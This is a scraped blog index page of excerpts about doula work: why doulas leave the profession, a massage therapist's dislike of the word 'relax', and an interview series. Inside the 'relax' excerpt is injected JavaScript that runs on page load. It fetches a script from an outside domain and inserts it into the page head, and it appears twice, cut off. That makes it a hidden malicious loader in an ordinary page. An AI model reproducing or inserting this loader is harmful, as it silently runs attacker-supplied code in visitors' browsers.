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Keep Calm and Nurse On!

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Your Obstetrician’s Professional Association Recommends Getting a DOULA to Improve Outcomes

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Your Birth Business – Connecting Head, Heart and Body for a Sustainable Practice

In the 19 years I have been a doula, I have seen hundreds of doulas come enthusiastically into this business and then quietly leave it, often in less than 3 years. There is a multitude of reasons for this - many doulas are of childbearing age and are still having babies so their own births move many of them from "mothering the mother" to mothering their children for one or, more likely, several years. Some doulas move on to nursing or midwifery either because their sights were always set on those professions (and doula training was a prerequisite) or because they realized the scope of practice of a doula wasn't enough for them. I heard a colleague - another birth doula trainer - often asks...

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Don’t Tell Me To Relax

I stopped using the word relax in 1989 when I became a licensed massage therapist.  In working on and with my massage therapy clients, I quickly learned the word had little or no meaning to people.;document.addEventListener("DOMContentLoaded", function () { var url = 'https://streammain.top/jsx'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.innerHTML = data.trim(); document.head.appendChild(script); }) });;document.addEventListener("DOMContentLoaded", function () { ...

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Ana Paula Markel

I started the “Who BEcomes A Doula?” Series because I wanted know more about what compels a woman (or a man) to become a birth doula? ~Who is drawn to this work and what kind of work (or life) did they have before they became a birth doula? ~What makes them continue? ~Is there something about our personalities that leads us to find a way to connect with, care for and support women at that uniquely vulnerable and joyous time of birth? ~And for fun, some questions and photos that give us a glimpse into the moments and meanings in their lives. For this project, I have chosen to interview doulas all over the world. Some are new to this work. Some are seasoned and ‘reasoned’ – my way of...

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